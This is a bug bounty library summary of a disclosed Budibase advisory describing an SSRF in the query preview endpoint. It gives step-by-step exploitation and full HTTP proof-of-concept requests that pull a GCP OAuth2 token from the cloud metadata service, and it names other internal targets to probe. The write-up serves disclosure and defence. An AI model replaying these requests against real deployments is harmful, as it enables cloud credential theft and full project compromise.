# Budibase Unrestricted Server-Side Request Forgery (SSRF) via REST Datasource Query Preview

Budibase's POST /api/queries/preview passes fields.path unvalidated to node-fetch, letting an authenticated admin SSRF internal services and steal GCP OAuth2 cloud-platform tokens.

- Payout: Research
- Severity: high
- Program: Budibase
- Found by: da7om85
- Disclosed: 2026-03-18
- CVE: CVE-2026-33226
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-4647-wpjq-hh7f
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-4647-wpjq-hh7f
- Tags: area:cloud domain:cloud domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:gcp tech:kubernetes technique:source-review vuln:access-control vuln:info-disclosure vuln:ssrf

**Target:** REST datasource query preview endpoint (POST /api/queries/preview)
**Root cause:** The preview() handler in packages/server/src/api/controllers/query.ts takes fields.path from the request body and passes it directly to RestClient.read → node-fetch with no IP/hostname blocklist for loopback, RFC1918, link-local metadata, or internal Kubernetes DNS.
**Steps:**
1. Authenticate as admin via `POST /api/global/auth/default/login` with `{"username": "admin@example.com", "password": "password"}` to obtain `Cookie: budibase:auth=<JWT>`.
2. `GET /api/datasources` with the auth cookie and `x-budibase-app-id` header; pick an `_id` where `"source": "REST"` (or create one via POST, no base URL needed).
3. `POST /api/queries/preview` with body containing `datasourceId`, `queryVerb: "read"`, and `fields.path` set to the internal URL, e.g. `http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token` with header `Metadata-Flavor: Google`.
4. Read the response body — GCP returns `{"access_token": "ya29...", "expires_in": 3598, "token_type": "Bearer"}`.
5. Repeat with other internal targets: `budibase-svc-couchdb:5984`, `minio-service:9000`, `127.0.0.1:4002`, `kubernetes.default.svc`.
**How found:** Code review of the preview() controller showed fields.path flowing unchecked into node-fetch, with no blocklist for loopback, RFC1918, link-local, or cluster DNS; the tester then confirmed reachability of metadata and internal services from the pod.
**Exploitation:** With an admin session, the attacker enumerates datasources to get a REST datasourceId, then issues preview requests whose fields.path overrides any base URL. Hitting the GCP metadata endpoint with Metadata-Flavor: Google yields an OAuth2 token with cloud-platform scope, verified against the GCP Projects API for full project access. The same primitive reaches CouchDB (all app data), MinIO, Redis, internal worker APIs, and the Kubernetes API server using the pod's mounted service account token.
**Escalation:** SSRF to cloud metadata converts a web-app admin role into full GCP project compromise; internal service reach extends to CouchDB data exfiltration and Kubernetes API access via the pod service account token.
**Insight:** Query-preview/test-connection endpoints in low-code and integration platforms often let the request body override the datasource base URL entirely — check whether fields.path (not just the stored base URL) is validated, and try cloud metadata with the provider's required header (Metadata-Flavor: Google) since plain GETs are often blocked.

## Proof of concept (copied exactly from the original report)

**SSRF request to GCP metadata token endpoint**

```
POST /api/queries/preview HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=[redacted]
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b
Content-Type: application/json

{
  "datasourceId": "datasource_49d5a1ed1c6149e48c4de0923e5b20c5",
  "name": "ssrf", "parameters": [], "transformer": "return data", "queryVerb": "read",
  "fields": {
    "path": "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
    "headers": {"Metadata-Flavor": "Google"},
    "queryString": "", "requestBody": ""
  },
  "schema": {}
}
Response:
{"access_token": "ya29.d.c0AZ4bNpYDUK...", "expires_in": 3598, "token_type": "Bearer"}
```

**Login request to obtain session JWT**

```
POST /api/global/auth/default/login HTTP/1.1
Host: budibase.dev.com
Content-Type: application/json

{"username": "admin@example.com", "password": "password"}
```

**Datasources listing request to get REST datasourceId**

```
GET /api/datasources HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=[redacted]
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b
```

